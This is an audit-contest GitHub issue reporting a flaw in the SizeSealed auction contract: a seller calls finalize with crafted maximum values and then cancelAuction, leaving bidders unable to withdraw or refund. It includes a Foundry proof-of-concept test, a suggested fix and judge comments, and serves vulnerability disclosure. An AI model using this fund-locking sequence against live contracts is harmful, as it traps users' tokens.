code-423n4 / 2022-11-size-findings

1 stars 0 forks source link

[PNM-002] `finalize` with malicious input may lock bidder funds in the contract #213

Closed code423n4 closed 2 years ago

code423n4 commented 2 years ago

Lines of code

https://github.com/code-423n4/2022-11-size/blob/79aa9c01987e57a760521acecfe81b28eab3b313/src/SizeSealed.sol#L33-L34 https://github.com/code-423n4/2022-11-size/blob/79aa9c01987e57a760521acecfe81b28eab3b313/src/SizeSealed.sol#L391-L410 https://github.com/code-423n4/2022-11-size/blob/79aa9c01987e57a760521acecfe81b28eab3b313/src/SizeSealed.sol#L358 https://github.com/code-423n4/2022-11-size/blob/79aa9c01987e57a760521acecfe81b28eab3b313/src/SizeSealed.sol#L336

Vulnerability details

Description

The finalize function of the contract SizeSealed is used to finalize an auction, allowing the auctioner (or seller) to be paid quote tokens and also eventually allowing successful bidders to withdraw base tokens.

Once the finalize function is called, the atState modifier check should pass, which ends the finalize state of the function.

However, there are certain cases where the seller can use malicious input and then call cancelAuction, which does not allow bidders to withdraw or refund, effectively locking their tokens within the contract.

bidders will still not be able to access their funds, as the atState modifier will always return that the contract is in the finalize state.

POC

Code:

 function testFinalizeCancel() public{
        console.log("Begin");
        (uint256 sellerBeforeQuote, uint256 sellerBeforeBase) = seller.balances();
        console.log("Seller initial balance: (Quote: %d), (Base: %d)\n", sellerBeforeQuote, sellerBeforeBase);
        uint256 aid = seller.createAuction(
            baseToSell, reserveQuotePerBase, minimumBidQuote, startTime, endTime, unlockTime, unlockEnd, cliffPercent
        );

        bidder1.setAuctionId(aid);
        (uint256 B1BeforeQuote, uint256 B1BeforeBase) = bidder1.balances();
        console.log("Bidder1 initial balance: (Quote: %d), (Base: %d)\n", B1BeforeQuote, B1BeforeBase);
        bidder1.bidOnAuction(5e6, 5e6);

        bidder2.setAuctionId(aid);
        (uint256 B2BeforeQuote, uint256 B2BeforeBase) = bidder2.balances();
        console.log("Bidder1 initial balance: (Quote: %d), (Base: %d)\n", B2BeforeQuote, B2BeforeBase);
        bidder2.bidOnAuction(5e6, 5e6);

        vm.warp(endTime);

        uint256[] memory bidIndices = new uint[](2);
        bidIndices[0] = 0;
        bidIndices[1] = 1;

        seller.finalize(bidIndices, type(uint128).max, type(uint128).max);
        console.log("Finalize");

        seller.cancelAuction();

        console.log("Should revert");
        (uint256 B1Quote, uint256 B1Base) = bidder1.balances();
        console.log("Bidder1 balance before withdraw: (Quote: %d), (Base: %d)\n", B1Quote, B1Base);
        vm.expectRevert(ISizeSealed.InvalidState.selector);
        bidder1.withdraw();
        vm.expectRevert(ISizeSealed.InvalidState.selector);
        bidder1.refund();
        (B1Quote, B1Base) = bidder1.balances();
        console.log("[*] Reverted");

         uint a = 1;
        uint b = 1;
        assertEq(a, b, "works");
    }

Output:

As demonstrated, both the withdraw and refund function calls are reverted, meaning there is no w bidders to recieve their funds back.

Recommended Fix:

Change the finalize condition. Using a boolean isFinalized and setting it to be true or false may mitigate this issue.

trust1995 commented 2 years ago

Nice, dup of #252

c4-judge commented 2 years ago

0xean marked the issue as duplicate

c4-judge commented 1 year ago

0xean marked the issue as satisfactory